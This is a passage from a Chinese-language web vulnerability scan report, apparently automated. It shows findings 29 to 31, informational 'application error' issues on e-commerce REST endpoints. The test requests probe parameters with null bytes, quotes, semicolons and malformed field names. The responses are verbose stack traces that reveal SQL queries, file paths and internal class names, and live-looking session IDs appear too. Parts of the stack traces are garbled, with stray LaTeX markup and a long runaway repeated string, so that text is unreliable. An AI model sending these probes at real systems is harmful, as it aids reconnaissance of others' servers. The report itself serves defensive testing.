Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
  "data": [
   "returnCode": 0,
                                                     错误代码:LUO003C\r\n错误信息:查询商品分类失败
   "msa": "e:
\r\nStackTrace:org.springframework.dao.DataIntegrityViolationException: \n### Error querying
database. Cause: org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding
\"UTF8\": 0x00\n### The error may exist in URL [jar:file:/apps/rest/goods/vr-goods-rest-
enterprise-1.0.0-SNAPSHOT.jar!/mybatisMap/PubGoodsclassMapper.xml]\n### The error may involve
com.suneee.scn.goods.dao.PubGoodsclassDao.findGoodsclassForPage-Inline\n### The error occurred
                                                                                                                                                      enterpriseid, classid, classcode, classname,
while setting parameters\n### SQL: select
level, endflag, status, parentcode, imgurl, seg,
                                                                                                                                                                   (select classname from pub goodsclass b
where b.classcode = a.parentcode and b.enterpriseid =a.enterpriseid limit 1 ) parentclassname
from pub goodsclass a where 1=1
                                                                                                                                  and enterpriseid=?
                                                                                                                                                                                                                          and classcode like
                                                                         and (classcode like '%'||?||'%' OR classname like '%'||?||'%')
CONCAT('',?,'%')
order by classid desc
                                                                                     limit ? offset ?\n### Cause: org.postgresql.util.PSQLException:
ERROR: invalid byte sequence for encoding \"UTF8\": 0x00\n; SQL []; ERROR: invalid byte sequence
for encoding \"UTF8\": 0x00; nested exception is org.postgresql.util.PSQLException: ERROR:
invalid byte sequence for encoding \"UTF8\": 0x00\n\tat
\verb|org.springframework.jdbc.support.| \textcolor{red}{SQLStateSQLException} \\ \texttt{Translator.doTranslate} (\textcolor{red}{SQLStateSQLException} \\ \texttt{Translator.doTranslate}) \\ \texttt{Translator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslat
ranslator.java:102) \n\tat
org.spring framework.jdbc.support.AbstractFallback \\ \frac{SQLException}{Translator.translate(AbstractFallback)} \\ \frac{SQLException}{Translator.translator.translate(AbstractFallback)} \\ \frac{SQLException}{Translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.
kSQLExceptionTranslator.java:73) \n\tat
org.springframework.jdbc.support.AbstractFallbackSQLExceptionTranslator.translate(AbstractFallbac
kSQLExceptionTranslator.java:81) \n\tat
org.springframework.jdbc.support.AbstractFallbackSQLExceptionTranslator.translate(AbstractFallbac
kSOLExceptionTranslator.java:81) \n\tat
\verb|org.mybatis.spring.MyBatisExceptionTranslator.translateExceptionIfPossible(MyBatisExceptionTranslator.translateExceptionIfPossible(MyBatisExceptionTranslator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.tra
ator.java:74) \n\tat
\tat com.sun.proxy.$Proxy31.selectList(Unknown Source) \n\tat
org.mybatis.spring.SqlSessionTemplate.selectList(SqlSessionTemplate.java:205)\n\tat
org.apache.ibatis.binding.MapperMethod.executeForMany(MapperMethod.java:114)\n\tat
org.apache.ibatis.binding.MapperMethod.execute(MapperMethod.java:58) \n\tat
org.apache.ibatis.binding.MapperProxy.invoke(MapperProxy.java:43) \n\tat
com.sun.proxy.$Proxy49.findGoodsclassForPage(Unknown Source)\n\tat
com.suneee.scn.goods.service.PubGoodsclassService.findGoodsclassForPage(PubGoodsclassService.java
\verb|com.sunee.scn.goods.consumer.impl.PubGoodsclassConsumer.findGoodsclassForPage (PubGoodsclassConsumer.findGoodsclassForPage (PubGoodsclassForPage (PubGoo
mer.java:64) \n\tat com.suneee.scn.goods.consumer.impl.Pub
. . .
. . .
ead0(RequestHandler.java:52)\n\tat
\verb|io.netty.channel.SimpleChannelInboundHandler.channelRead(SimpleChannelInboundHandler.java:105) \\ \verb| h| \\
\verb|io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.ja)| \\
```

```
n\tat
 \verb|io.netty.channel.AbstractChannelHandlerContext| \verb|37.run| (AbstractChannelHandlerContext.java: 354) \verb| n tailing the stractChannelHandlerContext| and the s
 {\tt io.netty.util.concurrent.AbstractEventExecutor.safeExecute\,(AbstractEventExecutor.java:163)\,\\ \\ \land tataline abstractEventExecutor.based ab
 io.netty.util.concurrent.SingleThreadEventExecutor.runAllTasks(SingleThreadEventExecutor.java:403
 ) \n\tat io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:445) \n\tat
 io.nettv.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:858)\n\ta
 io.netty.util.concurrent.DefaultThreadFactory$DefaultRunnableDecorator.run(DefaultThreadFactory.j
 ava:144) \n\tat java.lang.Thread.run(Thread.java:745) \nCaused by:
 org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding \"UTF8\": 0x00\n\tat
 org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:2182)\n\tat
 org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1911)\n\tat
 \verb|org.postgresql.jdbc| 2. AbstractJdbc| 2Statement.execute (AbstractJdbc| 2Statement.java: 618) \\ | h| tation of the context of the context
 \verb|at org.postgresql.jdbc2.AbstractJdbc2Statement.execute (AbstractJdbc2Statement.java: 461) \\ | https://dbc2Statement.execute (AbstractJdbc2Statement.execute (AbstractJdbc2Statement.java: 461) \\ | https://dbc2Statement.execute (AbstractJdbc2Statement.execute (AbstractJdbc2Statement.
  com.alibaba.druid.pool.DruidPooledPreparedStatement.execute(DruidPooledPreparedStatement.java:493
 :56)\n\tat
 org.apache.ibatis.executor.statement.RoutingStatementHandler.guerv(RoutingStatementHandler.java:7
 0) \n\tat org.apa
  . . .
```

变体-|2/2

差异: 参数 从以下位置进行控制: 1234 至: 800

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsclass/goodsclassList?
\label{lem:condition} draw=3\&start=0\&length=45\&search\%5Bvalue\%5D=1234\&search\%5Bregex\%5D=false\&pageNum=1\&searchValue=\%00
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
{\tt Host: vr-goods-rest-enterprise.mall.xt.weilian.cn}
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
. . .
. . .
  "data": [
   "returnCode": 0,
   "msg": "e:
                                        错误代码:LUO003C\r\n错误信息:查询商品分类失败
\r\nStackTrace:org.springframework.dao.DataIntegrityViolationException: \n### Error querying
database. Cause: org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding
\"UTF8\": 0x00\n### The error may exist in URL [jar:file:/apps/rest/goods/vr-goods-rest-
enterprise-1.0.0-SNAPSHOT.jar!/mybatisMap/PubGoodsclassMapper.xml]\n### The error may involve
com.suneee.scn.goods.dao.PubGoodsclassDao.findGoodsclassForPage-Inline\n### The error occurred
                                                                                                                    enterpriseid, classid, classcode, classname,
while setting parameters\n### SQL: select
level, endflag, status, parentcode, imgurl, seq,
                                                                                                                              (select classname from pub goodsclass b
where b.classcode = a.parentcode and b.enterpriseid =a.enterpriseid limit 1 ) parentclassname
                                                                                                                                                                   and (classcode like '%'||?
from pub goodsclass a where 1=1
                                                                                              and enterpriseid=?
||'%' OR classname like '%'||?||'%')
                                                                                                        order by classid desc
                                                                                                                                                                            limit ? offset ?\n###
Cause: org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding \"UTF8\":
0x00\n; SQL []; ERROR: invalid byte sequence for encoding \"UTF8\": 0x00; nested exception is
org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding \"UTF8\": 0x00\n\tat
\verb|org.springframework.jdbc.support.| \\ \frac{\texttt{SQLStateSQLException}}{\texttt{Translator.doTranslate}} \\ \\ \frac{\texttt{SQLStateSqLexception}}{\texttt{Tran
ranslator.java:102) \n\tat
```

```
org.spring framework.jdbc.support.AbstractFallback \\ \frac{SQLException}{Translator.translate(AbstractFallback)} \\ \frac{SQLException}{Translator.translator.translate(AbstractFallback)} \\ \frac{SQLException}{Translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.
 kSQLExceptionTranslator.java:73) \n\tat
org.springframework.jdbc.support.AbstractFallbackSQLExceptionTranslator.translate(AbstractFallbac
 kSQLExceptionTranslator.java:81) \n\tat
org.springframework.jdbc.support.AbstractFallbackSQLExceptionTranslator.translate(AbstractFallbac
kSQLExceptionTranslator.java:81) \n\tat
ator.java:74) \n\tat
\tat com.sun.proxy.$Proxy31.selectList(Unknown Source) \n\tat
\verb|org.mybatis.spring.SqlSessionTemplate.selectList(SqlSessionTemplate.java:205) \\ \verb| h| tat | figure | figure
org.apache.ibatis.binding.MapperMethod.executeForMany(MapperMethod.java:114)\n\tat
org.apache.ibatis.binding.MapperMethod.execute(MapperMethod.java:58) \n\tat
org.apache.ibatis.binding.MapperProxy.invoke(MapperProxy.java:43)\n\tat
\verb|com.suneee.scn.goods.consumer.impl.PubGoodsclassConsumer.findGoodsclassForPage (PubGoodsclassConsumer.findGoodsclassForPage (PubGoodsclassForPage (PubGoodsc
mer.java:64) \n\tat com.suneee.scn.goods.consumer.impl.Pub
. . .
. . .
ead0(RequestHandler.java:52)\ntat
io.netty.channel.SimpleChannelInboundHandler.channelRead(SimpleChannelInboundHandler.java:105) \n\
io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.ja
n\tat
io.netty.channel.AbstractChannelHandlerContext$7.run(AbstractChannelHandlerContext.java:354)\n\ta
io.netty.util.concurrent.AbstractEventExecutor.safeExecute(AbstractEventExecutor.java:163) \n\tat
{\tt io.netty.util.concurrent.SingleThreadEventExecutor.runAllTasks(SingleThreadEventExecutor.java: 403)} \\
) \n\tat io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:445) \n\tat
 io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:858)\n\ta
\verb|io.netty.util.concurrent.DefaultThreadFactory\\| \texttt{DefaultRunnableDecorator.run}\\| \texttt{(DefaultThreadFactory.jun)}| \texttt{(Defa
ava:144)\n\tat java.lang.Thread.run(Thread.java:745)\nCaused by:
\verb|org.postgresql.util.PSQLException| : ERROR: invalid byte sequence for encoding \verb|\"UTF8\": 0x00\| n | tat| | t
org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:2182)\n\tat
org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:173) \n\tat
at org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:461)\n\tat
com.alibaba.druid.pool.DruidPooledPreparedStatement.execute(DruidPooledPreparedStatement.iava:493
)\n\tat
:56) \n\tat
 org.apache.ibatis.executor.statement.RoutingStatementHandler.query(RoutingStatementHandler.java:7
0)\n\tat org.apa
. . .
. . .
 . . .
```

问题 **29 / 43** Toc

应用程序错误	
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsclass/goodsclassAddToSave
实体:	->"imgurl" (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

变体-|1/2

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 178
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "enterpriseid": "55",
 "classid": "2707",
 "parentcode": "04"
 "classcode": "04001",
 "classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "seq": "12",
"endflag": "1",
 "level": "2",
 "imgurl.": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:08 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Unrecognized field "imgurl." (Class com.suneee.scn.goods.model.dbo.PubGoodsclassDO), not marked
as ignorable
at [Source: io.netty.buffer.ByteBufInputStream@6f9901ce; line: 1, column: 177] (through
reference chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["imgurl."])
```

变体-|2/2

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 179
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "enterpriseid": "55",
 "classid": "2707",
 "parentcode": "04",
 "classcode": "04001",
"classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "seq": "12",
"endflag": "1",
"level": "2",
"imgurl[]": ""
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:09 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Unrecognized field "imgurl[]" (Class com.suneee.scn.goods.model.dbo.PubGoodsclassDO), not marked
as ignorable
at [Source: io.netty.buffer.ByteBufInputStream@6c2c2Of6; line: 1, column: 178] (through
reference chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["imgurl[]"])
```

问题 30 / 43 Toc

应用程序错误	
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsclass/goodsclassAdd
实体:	level (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

变体-|1/3

差异: 参数 从以下位置进行控制: level 至: __ORIG_VAL__.

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsclass/goodsclassAdd?
classcode=04003&classname=%E7%BB%BF%E6%A4%8D%E6%9C%8D%E5%8A%A1&level.=2 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
{\tt Host: vr-goods-rest-enterprise.mall.xt.weilian.cn}
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Content-Length: 0
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:46 GMT
Content-Type: text/plain; charset=UTF-8
```

变体-|2/3

差异: 参数 已从请求除去: 2

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

GET /goodsclass/goodsclassAdd?classcode=04003&classname=%E7%BB%BF%E6%A4%8D%E6%9C%8D%E5%8A%A1 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive

```
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US,en;q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1

HTTP/1.1 500 Internal Server Error
Content-Length: 0
Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
Server: openresty
Access-Control-Allow-Methods: GET,POST,HEAD,PUT,DELETE,OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:46 GMT
Content-Type: text/plain; charset=UTF-8
```

变体-|3/3

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsclass/goodsclassAdd?
classcode=04003&classname=%E7%BB%BF%E6%A4%8D%E6%9C%8D%E5%8A%A1&level%5B%5D=2 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Content-Length: 0
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:46 GMT
Content-Type: text/plain; charset=UTF-8
```

问题 31 / 43 Toc

应用程序错误	
严重性:	参考
CVSS 分数:	0.0
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/order/selectCmsOrderList/2
实体:	pageSize (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

变体-|1/5

差异: 参数 从以下位置进行控制: 15 至: 800

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/2?pageNum=1&pageSize=%00&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5confiq-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:54 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: " "
```

变体-|2/5

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/2?pageNum=1&pageSize=15XYZ&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=ff1d64918bd06bf341f084828da4d7d4
```

```
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "15XYZ"
```

变体-|3/5

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/2?pageNum=1&pageSize=%27&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5confiq-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
{\tt Host:}\ {\tt h5config-rest-enterprise.mall.xt.weilian.cn}
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "'"
```

变体-14/5

差异: 参数 从以下位置进行控制: 15 至: ;

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/2?pageNum=1&pageSize=;&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
```

```
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: close
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ";"
```

变体-|5/5

差异: 参数 从以下位置进行控制: 15 至:)

推理:

应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/2?pageNum=1&pageSize=)&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
{\tt Referer:\ http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?}
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ")"
```

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1/12/2018 547

应用程序错误	
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsclass/goodsclassAdd
实体:	classcode (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

差异: 参数 从以下位置进行控制: 04003 至: 1800

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET
/qoodsclass/qoodsclassAdd?classcode=%00&classname=%E7%BB%BF%E6%A4%8D%E6%9C%8D%E5%8A%A1&level=2
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
